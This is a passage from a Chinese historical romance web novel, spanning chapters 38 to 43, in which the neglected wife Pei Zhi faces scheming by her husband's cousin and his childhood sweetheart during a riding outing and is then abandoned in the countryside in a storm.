裴芷点头:“二爷请自便。”
谢观南满意点头,心想小裴氏还算识大体,不会在这场合闹起来。若是她非要闹着要骑马还真不好办。
毕竟母马就只借了两匹,一匹给谢观云,一匹是要留给白玉桐的。
谢观南领着两女前去。很快马儿牵了过来,众人纷纷赞叹。
果然是谢府才有的骏马。虽是母马,但是是花了重金从大宛运来的汗血宝马。
纯血、体型修长,四肢有力,一匹枣红色,浑身皮毛光滑如油。另外一匹浑身漆黑,四蹄皆是雪白。
牵马的马夫道:“二爷,这马儿有性子,需得我们专门牵乘才行。”
谢观南点头。
谢观云上了马,兴奋地大呼小叫。马夫牵着马带她四处溜马。
白玉桐看着那匹浑身漆黑的马,又是羡又是担心:“观南哥哥,我不会骑马。你教我吧。”
谢观南应允,上了马便带着白玉桐在平地骑行。
两人同乘一骑,有说有笑。男的相貌儒雅英俊,女的娇弱可人,配着河堤上草长莺飞的春景,好似神仙眷侣。
裴芷看了一会儿,淡淡别开眼去。
心里说不上难受,但却绝不舒坦。
虽没有了夫妻之情,但眼见的夫君与别的女子当面如此亲热,还是很是刺眼。
梅心低声骂道:“白家小姐真是不知廉耻,成日勾搭有妇之夫,也不怕名声坏了。”
兰心也道:“少夫人不会骑马为什么二爷就不教了?为何要教那白小姐骑?”
“少夫人你去与二爷说说,你也要骑。看他怎么个说法。”
裴芷摇头:“我向来不喜欢骑马。”
“你们也别说了,各自去玩吧。不然回府了就又没得玩了。”
梅心与兰心犹豫一会儿,便相约去河边玩去了。
裴芷怔怔看了河堤上在马上相拥玩乐的那对人儿一会儿,转身慢慢走了。
沿着河堤随意走着,闷堵的心情好了些。
谢观云走到她面前,抬着下巴,傲然道:“你可知道今日为什么让你出来玩吗?”
裴芷摇头。
不知,也不屑知道。
谢观云凑近她,笑嘻嘻的:“自然是让你知难而退。实话与你说,我不喜欢你。要不是恒哥儿需要个可靠的人照顾,以你的家世是嫁不进来谢家来的。”
裴芷很是平静:“所以呢?你要我与你大哥和离?”
谢观云点头:“算你聪明。玉桐姐姐也回京了。我喜欢她做我嫂子,你识相点赶紧走吧。”
“好。”裴芷点头,“我也正有此意。”
谢观云一愣,还以为自己听错了:“你真的愿意走?”
裴芷淡淡看了远处一眼,道:“就算你不说,我也是早就想离开的。”
事情出了意料,谢观云反而无话可说。
裴芷见她呆呆瞧着自己,道:“你应是不信我说的,若是不信问二爷便是。他收了我写的和离书还没签字画押。”
“你若是着急,可以催一催二爷。既是错配良缘,便各自安好吧。”
“嫁入谢府三年,我自认为上孝公婆,下抚育幼子,对姑侄都已尽心尽力。三姑娘还未嫁人,又是姑娘家,实在是不必对我如此咄咄相逼。毕竟我今日之处境,将来你若是嫁人,也有可能遭遇。”
“做人还是心存善念,厚道点,将来才有后福。”
谢观云回过神来,恼羞成怒:“你居然敢教训我?你又是什么东西?你……”
裴芷肃然道:“我是人,自然不是三姑娘口中说的什么东西。我乃前御史大夫裴济舟之女。祖上任太子太傅,先帝之帝师。诗书传家,名门之女。敢问三姑娘又是什么家世?”
“三姑娘也就只是借了谢家名头,又不是嫡支小姐,如何能与我未出嫁人时身份相比?”
“你!”谢观云气得浑身哆嗦,身份一向是她的痛处。
她出自京城第一世家谢家,但偏偏不是嫡系,而是平凡无奇的旁支。要不是谢家大房仁善在她祖父时施舍了一块府邸,相邻而居。
现在她和谢家散落各处的后人又有什么区别?
所以,真对比起来,裴芷身份比她尊贵多了。
谢观云没法争辩过裴芷,气得大声道:“你强词夺理,你,你……你裴家早就没落了,但是我谢家如日中天……”
裴芷见远处谢观南听到声音往这边看。她不愿与谢观云一般见识,只想赶紧走。
于是道:“裴家就算没落,也不会图谢家什么好处。谢家如日中天,也与三姑娘没什么关系。这两处,三姑娘自己好生想清楚吧。”
说完转身翩然离开,寻另外清净之地去了。
谢观云半天才回神,气得抽出马鞭抽打杂草出气。她回去,立刻寻到白玉桐将刚才的话说了。
白玉桐一愣:“她当真这么说?”
第39章 沈晏
谢观云气急败坏:“可不是!这个小裴氏真是吃了雄心豹子胆了。她居然还说已经把和离书给了我哥。”
白玉桐沉吟。
谢观云回过味来,突然心虚拉着白玉桐:“玉桐姐姐,你说她是不是真的要和离?”
白玉桐摇头:“我哪知道,也许是与你赌气说的话吧。”
谢观云一想也是。
裴芷平日低眉顺眼的,哪有底气与谢观南和离?再说裴家还有求谢家呢,裴芷是疯了才说那番话的吧。
想着,谢观云长吁一口气:“是,应该是与我赌气说的。想和离,做梦!应该是我哥不要了她,将她赶出家门。”
白玉桐看了谢观云一眼,岔了别的话头说了。
心中却是多了阴霾。
她想踩着裴芷增加自己的名声,但绝不能容忍裴芷抢先她一步与谢观南和离了。若是让裴芷顺利和离了,转头说是自己勾搭了有妇之夫,那她名声就毁了。
总之,不该是这样的。
她白玉桐要的东西,那必定是人人争抢的,而不是裴芷不要的。
她定要裴芷跪下来,服输,求她离开谢观南。
只有这样,才能弥补当年谢观南因为白家因罪而无法和她成亲的痛。
白玉桐想定,对谢观云招手,轻声道:“我想到一个好玩的法子,替你出出气。”
……
此时不远处骑行而来一队人,男男女女一共七八位。当先一位身穿劲装的年轻男子英姿,骑着一匹深灰色的高头大马,迎风烈烈。
他大约二十出头,身量修长且健硕。一身藏青色劲装穿在身上,英气勃发,脚上是一双玄色的长靴,一直束缚到了修长的小腿上。
剑眉星目、五官英俊,双目奕奕有神,顾盼间带着肃杀的精光。
他身手极矫捷宛若马上蛟龙,行云流水似换剑引弓。
疾驰中搭弓引箭,一连射了三箭,射落了柳树树梢三片叶子。然后又调转马头,再次疾驰,又是连射三箭,将另一边一株树上射落几片树叶。
跟在他身后的年轻人们纷纷为他精湛的骑射喝彩。
那年轻男子勒住马,轻轻摇了摇头,似乎对自己还是不满。
一位红衣骑装的少女策马上前,笑道:“三哥,你骑射越发精进了。难怪能立大功呢。”
年轻男子只是淡淡勾唇,好像并不开心。
少女见他落寞寡欢,撇嘴:“三哥,不是我说,都过了多少年了你还……”
年轻男子冷淡道:“我心里没想着那件事。我这次回来述完职,过三个月还回西北。”
少女急了:“三哥,你都立了那么大的功劳了,为什么不留在京城?我们去求军中几位叔叔伯伯让你在兵部当个差。实在不行去军营挂个职。”
年轻男子神情很冷淡:“不了。”
他见红衣少女急了眼,便不愿与她往下说。
正巧瞧见远处有人在学骑马,远眺:“那是谁家的马,竟是汗血宝马。”
少女张望了一眼,脸色变了,骂道:“晦气死了!是谢家!”
年轻男子听到“谢家”两个字,瞬间面色沉冷。
只见谢观南正在马上搂着一位身材窈窕,娇小玲珑的少女学骑马。两人耳鬓厮磨的样子,看起来很亲密。
少女骂道:“我们快走。晦气死了。不要脸的裴家为了巴结谢家,退了三哥你的婚事,还说了那些话。”
“本以为裴芷是个清高的,没想到她竟然见异思迁……”
年轻男子突然沉声道:“那女人不是她。”
少女定睛一看,发现与谢观南一起的果然不是裴芷。
她拍手,幸灾乐祸:“好啊!好啊!人人都说谢观南痴情前妻,情深义重,所以才娶了妹妹裴芷当续弦夫人。”
“没想到才三年就另寻新欢,啧啧。”
她转头笑道:“三哥,你看从前辜负你的人都得了报应了。你开不开心?”
还没说完,突然发现身后已经没了人。
“三哥哪去了?三哥?三哥?”
少女张望,只见方才年轻男人身影冷然,朝着相反的方向牵马离去了。
……
裴芷沿着河堤神思散漫。
曾经她也是个天真活泼的小女孩,虽母亲偏疼大姐裴若,但父亲裴济舟却是偏疼她的。
他不介意她是女儿,从小就将她悉心教导,延请名师。也曾带着她偷偷借着会好友的名头,带她出来游街玩耍。
只是,时移世易,耿直的父亲触怒先帝在狱中抑郁而死。
“三年不见,我道你已不记得这里了。”
身后传来男子冰冷的嗓音,沉沉的,带着莫名的怒。
裴芷回头,看见身后一身青影还以为自己眼花了。
心中思绪瞬时万千,诸多话哽在喉中,竟是一个字都说不出口。
沈晏冷冷打量裴芷。
一袭半旧不新藕粉色长衣,是很单薄的秋衣,能瞥见宽敞的袖口磨出了毛边。下身是一袭月白色锦缎百褶长裙。
如云似雾的墨发此时已挽做了妇人发髻,只簪了两根银簪。
曾经玉雪团子似的小姑娘,跟在他身后总是“晏哥哥,晏哥哥”喊着要他帮忙摘果子的女娃儿,如今已嫁做他人妇。
什么都变了,唯有那张雪白的脸见着他时,还是熟悉的茫然与惊讶。
两人沉默半天,沈晏冷冷自嘲一笑:“故人相见,你竟没话与我说?”
裴芷张了张口,黯然低头。
沈晏见她这般,眼底浮起失望:“罢了,终归是我多想了。本想过来问谢观南对你好不好。”
“但像你这样的女人,现得到什么报应都是你咎由自取的。”
说完,他冷冷转身打算离去。
“晏……沈公子……”
身后,裴芷声音极轻。
沈晏肩头一颤,想回头又生生克制住:“你不用担心,我过阵子就会离开京城。”
“虽有自幼的情谊,但……算了,与你说也是白费。你总是没将我的话放在心上。”
“反正老死永不相见,对我对你便是最好的。”
说完,他不再看裴芷一眼,大步流星离开了。
裴芷回到凉棚时,神思恍惚。
谢观南与白玉桐携手进来歇息,见她坐着对茶盏出神,心中隐约掠过不忍。
他道:“你刚才去了哪儿玩?”
裴芷恍惚回神,淡淡道:“沿着河堤走了一圈。”
谢观南见她神情萎靡,眸色一缓:“你想骑马吗?”
裴芷还没说话,白玉桐便笑吟吟凑过来:“裴姐姐,骑马可好玩了,你去试试。”
说着,白玉桐一把将她拉起往凉棚外走去。
第40章 丢脸至极
裴芷被拉到了凉棚外,白玉桐让马夫牵来马。
是那匹大马,光站着便比寻常男子还高。马镫处也很高,需要有马凳踩着才能上去。
裴芷方才见了沈晏又听他说了那番诛心的话,心思早就飞了。并没有发现白玉桐眼底的嘲讽。
白玉桐:“裴姐姐,快试试。这马可是谢大人马厩中的好马呢。”
她一个劲催促裴芷上马。
裴芷回过神来,摇头:“我不骑马。”
白玉桐笑:“裴姐姐,怎么了?出来玩又不骑马,回去二夫人问起来你可怎么说?”
“难不成你说你什么都没玩?那我可吃罪不起。”
裴芷不语。
谢观南见到这马,眉心微蹙,开了口:“玉桐,她不会骑马就不要让她玩了。”
这马是借来的大马,比母马性烈,不易驱使。就连他刚才试了一程都心惊肉跳的,连忙找了个借口不骑了。
白玉桐拉着裴芷试这匹马,应该是想让她因受惊出丑。
但谢观南并不想大庭广众之下揭穿这份心机,只是委婉劝了裴芷一句。
谢观云出来,不满道:“哥,玉桐姐姐都是好心。你就不要插手了。”
谢观南看了她一眼,随即走到裴芷身边:“你不会骑马,要不我陪你上马一趟?”
裴芷摇头:“不了,二爷尽管和白小姐玩,我不会骑马,也不想骑。”
谢观南眉心拧起,眼底隐约不悦。
他已经做到了如此了,怎么裴芷还是一副没兴趣的样子?从出门到现在,她就没有一点笑容,甚至自己故意和白玉桐亲近,她一眼都不看。
谢观南越想,心中越发觉得异样。
从前裴芷虽然沉默寡言,但那双眼里是一直有他的。
高兴的时候会亮晶晶的,温柔视线追寻着他。受委屈的时候眼里雾茫茫的,看他的眼神是缱绻的,欲语还休的。
可这大半月来,她眼里再也没有他半分。
就算是故意与她对视,一眼望去波澜不惊,再也没有半点柔情蜜意。
想着谢观南只觉得心里涌起一股浮躁与说不出的惊慌。
他抓住裴芷的手腕,冷声道:“我好心要教你骑马,你倒是在外人面前给我甩脸色。”
“今日你不学也得学。”
他说着欲拉着裴芷上马。
裴芷手腕吃痛,猛地甩开他的手。
“二爷放开我。”
谢观南愣住。
裴芷沉声道:“二爷不必教我了。我其实会骑马,方才只是不愿意骑罢了。”
谢观南皱眉:“你撒什么慌?为了不让我教你骑马,你非要说自己会骑?”
谢观云也道:“就是,小裴氏你不要在这里说大话。分明是你见到我哥教了玉桐姐姐骑马,没教你。你心里吃醋。”
“哥,你别搭理她了。她就是喜欢装模作样。心里其实见不得你对玉桐姐姐好。可怜玉桐姐姐心善,还一直想让她也玩玩呢。”
谢观南眉心紧拧,不悦道:“裴芷,我没工夫和你闲闹。你不会骑马就乖乖跟着我学,不然就和玉桐道歉。”
裴芷心里只觉得荒谬。
眼前的人像是听不懂人话似的。他的功名到底是怎么来的?她刚才说的话,是哪个字谢观南没学过?
她看了一眼白玉桐,问:“白小姐想让我骑马?”
白玉桐委屈撅了撅嘴:“裴姐姐,你若是不喜欢和我们出来玩就直说。但千万不要为了面子假装自己会骑马。”
“观南哥哥最讨厌别人撒谎,是不是?”
谢观南薄唇紧抿,冷冷哼了一声。
裴芷叹了口气,道:“若是我会骑马,二爷是不是就觉得我不是闹脾气了?”
谢观南冷笑:“你会不会骑马,我都不放在心上。只是可惜了玉桐一番好心意,你这般百般推诿,只不过是为了让她难堪。”
“裴芷,你那点算计,真是叫我觉得你心真脏。”
裴芷面色白了白。
难怪他会这么想她。原来在谢观南眼中,她是一个满心妒忌,心眼脏,什么都是脏的毒妇。
裴芷抿紧唇,突然接过马夫手中的缰绳就要上马。
马夫突然在马腹下伏地,恭敬道:“二少夫人请上马。”
裴芷摇头:“不用了。我上得去。”
马夫犹豫了片刻,不知该不该起身。
谢观南冷声讽刺:“你让她自己上,我倒要看看她怎么上得了马。”
谢观云也在旁边大声嘲讽:“就是,你让开。”
“二哥上马都得人帮忙,就她……”
嘲讽的话戛然而止。因为所有人都吃惊瞪着眼,看着裴芷抓住马鞍,也不知怎么脚一踮,人若飞燕轻轻松松上了马背。
谢观南眸里皆是惊讶。
谢观云结结巴巴:“你你,你怎么……怎么上了马?”
白玉桐眼神一沉,却道:“呀,裴姐姐好厉害啊。”
她故作天真看向谢观南:“观南哥哥,你瞧裴姐姐是不是比你还厉害?她都不用人扶就上了马呢。”
谢观南心中恼怒,冷哼一声不做声。
裴芷抓住缰绳,俯身轻轻摸了摸马的鬃毛,然后道:“我骑一圈就回来。”
马夫提醒:“二少夫人要小心些,这马性子烈,喜欢疾驰。不可以太大拘束着它。”
裴芷点头示意知道,双腿轻触马腹。
果然那马儿轻嘶一声往前跑了起来。裴芷稳稳抓住缰绳,任由马儿由慢渐快奔跑起来。
那马果然是日行千里的汗血宝马,跑起来后越发畅快,一会儿就不见了踪影。
原地,三人对视沉默。
马夫张望了一眼,笑道:“二少夫人骑术很不错。这马儿颇有灵性,骑术好的人,它跑得越欢快。”
谢观南勉强应了一声,脸色沉沉如水。
他决计不想承认裴芷骑术竟比学过君子六艺的他还好的。
谢观云从鼻孔哼哼两声,也不知道要说什么,干脆进了凉棚。
白玉桐眯着眼看着远去的裴芷,心里冷笑一声。
她回头对谢观南温柔道:“观南哥哥,你瞧裴姐姐明明会骑马,怎么偏偏瞒着你她不会?”
“观南哥哥,不是我多言。你与裴姐姐虽是夫妻,但她对你还是有隐瞒的。”
叹气:“难怪刚才观南哥哥教我骑马,她是一眼都不看。约莫心里是笑话我愚笨呢。”
谢观南脸色越发难看。
裴芷何止笑话白玉桐,怕不是连他那笨拙的骑术都看在眼里。指不定背地里怎么嘲笑他骑术不精,还好为人师。
一想到刚才自己非要教裴芷骑马,谢观南就觉得脸上火烧火燎的。
真是丢人至极。
第41章 为虎作伥
裴芷骑马溜了一圈回来,发现谢观南三人脸色并不好看。她此时心中已经完全不在意他们怎么想。
只觉得连日郁闷随着马儿畅快疾驰一消而空,心里舒畅万分。
但,转念想起当初教骑术的人对自己已是厌恶至极,甚至说出“老死不相见”的毒誓,心下又是伤心。
她摸着马儿浓密的鬃毛,仿佛能瞧见那爽朗少年英姿勃发,鲜衣烈马奔驰在春风中。
“你什么时候学会骑马的?”
谢观南走来,语气古怪,“为什么要瞒着我?”
裴芷心中极倦,不想与他在这种小事上纠缠,只淡淡道:“我会的还多着呢。只是二爷向来懒得理会罢了。”
谢观南面色一沉抓住她的手腕:“你是什么意思?”
裴芷皱眉。
她温顺谦和,是不想在外人面前失了体面。谢观南在外面也一向是温文儒雅,谦谦君子的模样,这才让她当初勉强答应了母亲与大姐的要求,愿意嫁给他。
可今日出来骑马踏青,怎么得他一而再得竟动手动脚的。
裴芷抹开他的手,垂眸:“二爷,我累了想回府了。”
谢观南还要再问,不远处突然传来一声惊呼。
只见白玉桐坐在马背上,俏脸吓得发白,连连大叫:“观南哥哥救我!观南哥哥救我!”
裴芷看去,倒吸一口冷气。
白玉桐身下的母马突然发狂,前蹄高高扬起又重重落地,后蹄狂蹬,一副要把马背上的人给登踏下来的狂躁架势。
白玉桐已经面无人色,吓得魂飞魄散,只会喊救命。
谢观南急忙唤人去将马儿牵住,但无人上前。
马夫摇头:“方才就劝白小姐不能单独骑马,她非不听,哎哎,这可怎么办才好啊。”
谢观南急了:“现在说这个有什么用?你们是日夜与这畜生一起的,怎么可能不知怎么控它?”
马夫变了脸色:“二爷说这话是什么意思?马是畜生,我们可不是畜生般的。”
另一位马夫脾气暴躁,冷笑:“二爷说话真有意思。我们可是给大爷当差的,就算是大爷平日来马厩选马,都不曾把我们与畜生比作一起。”
“就是,就算是马,大爷也是很爱惜。说战场上,战马如同袍泽一般,生死不能离。二爷这话好生难听,简直是辱我们。”
几位马夫七嘴八舌说着,就是不去控马。而马背上白玉桐已经吓得声音都哑了,只能双手紧紧抱住马脖子,大声号哭。
谢观南又急又心疼,知道刚才自己说错了话得罪了马夫。
但他平日最好面子,实在是无法服个软去求马夫救人。
裴芷摇头,上前对马夫道:“几位大哥请莫介意,二爷只是一时心急说错了话。现人命关天,先救下人,一会必有重谢。”
谢观云此时回过神来,立刻大声说:“是是是,我们给钱!给重赏!谁能把玉桐姐姐救下来,就给纹银一百两!”
几位马夫便住了口,商议了一番,一起围了过去堪堪将发狂的马儿控住。
白玉桐终于得救。
只是她很是狼狈。头发散乱,原本琳琅满目的金银珠钗掉了一地。身上衣服也乱糟糟的,又腿软得无法走路。
白玉桐被救下后,抱着谢观南嚎啕大哭。
谢观南心疼她,不顾男女之别抱着轻声哄着。谢观云也上前安慰。
裴芷看了一眼,转身唤了梅心与兰心准备回府。
马夫上前讨赏钱,谢观南心中有气却又不敢不给,只能掏出纹银一百两给了了事。
白玉桐这般铁定是不能继续起码踏青了。让她上马车,她又死死抱着谢观南不撒手,一个劲喊害怕。
谢观南只能对裴芷道:“我先送她回府。你与观云一起。”
说完,他带着白玉桐匆匆回去。
谢观云脸色发白,半天才回神。
裴芷唤她一起上马车,谢观云看了一眼那马车,突然大声道:“我才不上这破马车,你,你自己回去。”
裴芷皱眉:“难道三姑娘要骑马回去?”
谢观云脸涨得通红,突然换了说辞:“你刚才干嘛求那些马夫帮忙控马?白白害我哥多花了一百两纹银。”
裴芷奇怪道:“一百两纹银是三姑娘你说要给的,我并没有许诺。”
“难道你不想白小姐平安无事?”
谢观云气得不知该说什么才好,只能狠狠瞪了她一眼。
“反正我不和你一起回去。”
说完,她负气离开。过了一会儿,就听见大声呵斥仆人另外给她寻一匹马回城。
裴芷摇了摇头,只觉得谢观云脾气发作得莫名其妙。
马夫走过来,作揖:“二少夫人。”
裴芷认出他是刚才俯身要给她当马凳的人。她颔首回礼:“大哥今日相助,实在是幸甚。”
她让梅心拿了一枚碎银塞给了那马夫。
“出门没带银子,回去定补上重礼。”
马夫摇头:“我不是来讨赏银的。是奉戍大人让小的多个心眼,照顾二少夫人,不可让二少夫人出了差错。”
裴芷一愣。
她倒是没想到奉戍心细如此。转念一想,也许奉戍也是奉了谢玠的命,不让自己在外面出事。
毕竟她出了事,谢玠的毒就棘手了。想是这么想,但有个人默默惦记着自己安危还是好的。
她露出微笑:“多谢这位大哥。”
马夫看了看不远处呵斥下人的谢观云,低声道:“刚才听到那位白小姐与谢小姐不知商量什么,好像要对二少夫人不利。”
裴芷皱眉不语。
马夫道:“我本想听仔细点,但实在是太远没听清楚。二少夫人回城路上小心些就是。”
“我们也快些回府交了马,然后禀报给奉戍大人。让他派人保护二少夫人。”
裴芷郑重点了点头,从手腕上撸下一枚银镯塞给马夫。
“多谢这位大哥相告,大哥贵姓大名?”
这便是告诉马夫,自己承了他这份人情。回府去少不得要报答他,或是告诉奉戍记下他这功劳。
马夫正要再说,就看见谢观云走了过来。马夫立刻转身走了。
谢观云走来,面色不善:“小裴氏,你先回去,我在这里等马车。”
裴芷此时已对她有了警惕心。谢观云不与她一辆马车正好正中下怀。
于是,裴芷与梅心,兰心坐一辆马车朝着京城回去。
车轮粼粼而过,裴芷轻轻撩起车帘往后瞧。果然看见谢观云站在原地,阴沉着一张小脸目送马车离开。
裴芷心中一寒。
到底什么仇什么怨,竟能让还没及笄的谢观云为虎作伥,对付自己?
第42章 定斩不饶
谢玠在松风院中听得奉戍禀报完,撩眼看了递过来的银镯。
银镯是虾须镯。很细,圈口很小。没什么花纹,上面雕着几朵梅花,只有在合口处刻了一个“芷”字。
因戴得久了,这个字磨损了大半。
很寒酸的首饰,看得出银镯的主人平日没什么拿得出手的东西。
奉戍皱眉道:“没想到谢观南如此……”
后面“糊涂”两个字没说出口,但听的人都知道什么意思。
夫妻一体,妻子受辱,身为丈夫的何曾有面子?
若是纵容谢观云与那白家小姐放肆,弄出点什么丑事来,最后说不定要牵连谢府名声。
谢玠漫不经心把玩着手中的银镯。他手指修长,骨节分明,细细的镯子不过手掌一半大。托在掌心,宛若托着一圈银光。
毫不起眼的镯子竟硬生生被他秀美的指尖,衬得好看极了。
马夫将白玉桐本想要故意惊马博得谢观南关注,弄巧成拙,反而是真的惊了马,差点没被马踩死的丑事说了。
又道:“二爷应该是先护着白家小姐回府,二少夫人在后面。”
谢玠随意摆了摆手。
马夫悄悄退了下去。
奉戍正要请示,下人又道谢观南亲自来还马了,还向谢玠致谢。
谢玠突然冷冷道:“让他进来说话。”
……
谢观南本意是还了马后就回府照看白玉桐。他正要走。下人从里面出来,道大爷要见他。
谢观南心中吃惊,随即狂喜不已。
不是人人都能见到谢玠的。上次他来亲自求画,连松风院的大门都进不去。
谢观南恭恭敬敬整了整衣衫,又理了理发冠,这才垂着手跟着下人进了松风院。
下人走在前面,面色沉肃。
谢观南心中忐忑,低声问:“不知大爷见我是为了什么事?”
下人一心往前走,半个字都没与他说。
谢观南讪讪笑了笑,肃手跟在身后。
心中止不住的惴惴不安。他虽与谢玠是同族,但从小到大便知道他的身份与谢玠是云泥之别。
谢玠才是真正谢氏一族的嫡系,将来是要继承谢家几百年庞大的基业的。况且,谢玠的才华不知超过他几百倍。
他不过是沾了谢氏的名声,外加年少读书勤勉,堪堪进了国子监罢了。
而谢玠年少就有神童的才名,更是在十六岁高中三元,直接入翰林院编修,又为“庶吉士”。而后还与当今新帝有了同窗之情。
新帝继位后对他极为信任,亲封天子侍读,每逢大事又委派重任。
谢观南脑中胡思乱想,走了许久入了松风院中。
下人唤他:“二爷?”
谢观南恍然回神,发现自己竟然走神了。一抬头,心中一怵,忙跪下去。
“学生见过谢大人。”
谢玠是天子侍读,身份比他便是高了一辈不止。
厅堂上,谢玠身穿一件玄青色便服,外披着一件似油水般光滑的黑狐裘。他容色极白,鸦色的发束了一根紫金长簪,眉眼若名师雕琢,一笔一划皆浑然天成,凌冽如千山暮雪。
谢观南猛地打了个寒颤。
这就是名动天下的谢玠,容貌竟然如此俊美,又这般冷到了骨子里。
听见谢观南的问候,谢玠冷淡垂着眼,半天才虚虚抬了抬手。
“你便是观南?”他的嗓音清冷低沉,似金玉交加,不沾半点热络,“听过。”
谢观南心中一凛,更低低头:“听闻大人最近贵体欠安,学生叨唠了。”
谢玠看了奉戍一眼。
奉戍让下人拿了把椅子,谢观南又谢了,这才恭敬靠了椅子半坐。
他刚想再说些恭维话,谢玠却冷冷道:“今日出去骑马踏青了?”
谢观南挤出笑:“是的,大人……”
谢玠打断他的话,又问:“和谁?”
谢观南一愣,心中只觉得奇怪,却不敢不答,含糊道:“是与家中女眷出游。不值一提。”
谢玠深幽的眼眸中掠过不耐烦:“和谁?”
谢观南又是一愣,心中惊慌起来。
奉戍十分不耐烦:“大人问你什么就答什么?难道有什么好隐瞒的?”
谢观南一惊,急忙跪下:“大人息怒。学生今日是与亲妹、亲戚表妹妹、还有,还有……”
奉戍冷了脸:“你的夫人没有一起吗?为何要隐瞒?”
“还是你压根就没把你的夫人放在心上?算都没算进去?”
谢观南一抬头,正好瞧见奉戍手中拔出一截的寒刀。冷汗从背后涔涔冒了出来,身子止不住发抖起来。
比起谢玠,他更怕的人其实是奉戍。
奉戍是谢玠身边的一把好刀。
听闻谢玠去办了江南一间盐商案子,人还没到当地,奉戍就领着三十六骑将沿路伏击的杀手屠了个干净,又连夜杀到江南,将那几大顽固抗旨的盐商杀得人头滚滚。
等谢玠亲自时,那边已是一片血色惨状。
所以比起凶名,奉戍恐怕还比谢玠更可怕些。
奉戍厌恶盯着谢观南,还要再呵斥。
“退下。”
冷淡的嗓音响起,谢玠垂眸看着掌中的茶盏,茶盏中一枚茶叶在水中轻轻翻滚,而后如轻羽般沉底。
奉戍收了刀,悄悄退下。
谢观南死里逃生般擦着额上冷汗:“大人有要问学生的,学生定知无不言。”
“听说你与白家的小姐交往甚密?”谢玠薄唇微勾,眸中冷光仿佛能看透人心,“白家小姐的族姐如今是圣上新宠的昭仪。你可知?”
谢观南面无人色,伏在地上簌簌发抖。
他就不该存有侥幸,自己一言一行都在谢玠的眼中。怎么能生出那等不该有的心思?
白玉桐的族姐白静莹是圣上新宠的静昭仪。听说为了在宫中争宠手段剑走偏锋,故意挑了个雨天在御花园中起舞,被圣上瞧见。
心生喜爱,便连宠了几日。
宫中妃嫔们往往为了圣宠不择手段,不足为奇,但偏偏白家的静昭仪好像投靠了齐妃,而齐妃又与皇后作对……
冷汗一滴滴从额上滚落,谢观南绞尽脑汁都想不清其中哪个关节犯了谢玠的猜忌。
但,终归是不能再与白家走得近了。
想着,谢观南咬牙:“学生与白小姐只是小时候有点情谊罢了,并无半点私情。她刚回京,母亲顾念两家世交,所以特地招她入府小住几日……”
奉戍突然冷笑:“谁问你这个了?”
他已十分不耐烦了。
谢观南僵住:“不是,不是吗?”
他脑子都快成浆糊了,不由看向高高在上的谢玠。
谢玠依旧垂眸,手中茶盏不紧不慢冒着热气。秀美如莲的修长手指轻轻搭着茶盏,玉色的手指竟比青瓷还好看。
他终于抬眼,狭长的凤眸深邃,冰冷:“提点你一句:外人终究是外人。”
“若是让我知道你因外人伤了家人,定斩不饶。”
第43章 车夫跑了
谢观南浑浑噩噩走了。
谢玠手中的茶盏也没了热气。他拢着狐裘,眉眼低垂,不知在想什么。
奉戍十分不耐烦上前问:“大人,他能听得懂人话不?”
谢玠:“听不懂的。”
奉戍脸灰沉沉的,半天才吐出一口气:“光有皮囊的绣花枕头。我呸。二少夫人竟然配了这么一个……”
后面难听的话,他倒是不说了。
有侍卫上前低语两句。
谢玠点了点头,抬头看了外面的天色,眯了眯眼。
天要下雨了。
……
阴雨连绵,到了半路便开始下起了暴雨。
裴芷与两个丫鬟缩在马车中,外面电闪雷鸣,才刚到傍晚天色就已经全部黑了下来。
梅心与兰心拼命遮着想从车帘中泼进来的雨水。
梅心不停抱怨:“早知道就不出来了。这几日雨水那么足,早晚都会下雨。”
兰心却冷得发抖:“少夫人忍一忍,一会就进城了……”
裴芷将披风递给兰心,让坐在最外面的她披上御寒。
马车走得极慢,梅心催促了两次。
车夫粗着嗓子道:“下那么大的雨,路不好走怎么快?”
他骂骂咧咧,摆明了欺负车上都是弱质女流。梅心气不过要与他对骂,裴芷轻轻拽了拽她的衣角,摇了摇头。梅心只好忍耐。
一路沉默走了许久,突然马车磕到了石头停了下来。
梅心忍了半天,实在是忍不住探出头去:“怎么还没到城门?”
她声音戛然而止,随即惊慌回来:“少夫人不好了!车夫居然跑了。”
裴芷一愣,掀开车帘。
那车夫竟然是将她们带到了与京城相反的泥路上,然后丢下她们逃之夭夭。
主仆三人面色如土看着眼前情景。
举目四望,雨幕下的山林雾茫茫的,四面树木高耸,林间死寂无声。只有车下一条几乎看不见来路的泥路蜿蜒延伸。
梅心哭道;“少夫人,这可怎么办才好?那车夫一定是听了三姑娘的话,把我们丢在这荒山野地里。”
兰心小脸发白:“这可怎么办?我们又不会驾车,也认不得路,万一夜里有野兽怎么办?”
两个丫鬟哭了起来。
裴芷面色苍白,身上一阵冷一阵热,微微发抖起来。
这下她明白为什么谢观云不与她们一辆马车了。原来是想将她主仆三人丢在城郊野地里。
看天色,就算是赶回去城门也关了。她们不得不在城外宿一夜了。
而彻夜不归,她的名声就毁了。
对于一位已婚的女子,失去名声之后等待她的要么剪子、要么砒霜毒酒,要么就是一条白绫,然后对外说她“暴毙”在深宅中。
谢观云和白玉桐,这是要她死啊。还是最不体面的死法。
想到此处,裴芷心里一片冰冷,竟比这春雨还透骨三分。
两个丫鬟还在哭,她们没想到这层,只觉得在野地里会遭遇可怕的事。而裴芷几乎想着要不就带着她们一走了之。
总之是个死,放手一博也许能博出一点生机。
雨不停下着,隐约能听见山林中不知什么野兽在叫,格外骇人。
许久,裴芷幽幽道:“别哭了。寻个办法回城。”
梅心茫然:“怎么回去?我们都不会驾车。”
裴芷垂眸:“试试吧。”
两个丫鬟无奈,只能试着去驱使马儿往前走。但那马不知是不是累了,抽了几鞭子之后非常慢地往前走去。
兰心下了马,忍着害怕拉转马头。
而马这个时候突然发了性子,猛地一挣,竟然将束缚的绳索挣断。马儿得了自由,欺负她们是生面孔,竟然跑了。
这下,连马都没了。
兰心欲哭无泪。裴芷下了马车,看着明显被割了一截的绳索,小脸越发苍白。
她道:“只能往前走走,看有没有人家收留我们一晚。”
两个丫鬟无奈,从马车上收拾出一条毯子,用披风将毯子包好。主仆三人深一脚浅一脚,相扶着往前面走去。
……
谢观南回到了谢府中,脑中茫然。下人前来禀报说白玉桐受惊要见他。
谢观南沉默片刻:“不去了。让人去请大夫看看便是。”
下人奇怪瞧了他一眼,退下去请大夫去了。
谢观南思忖半日,起身往北正院去。
北正院中,二夫人秦氏正与白玉桐说话。白玉桐拢着雪白的狐裘,小脸红扑扑的,一双眼中蓄着眼泪。
她靠在秦氏怀中,面上还有委屈的神色。
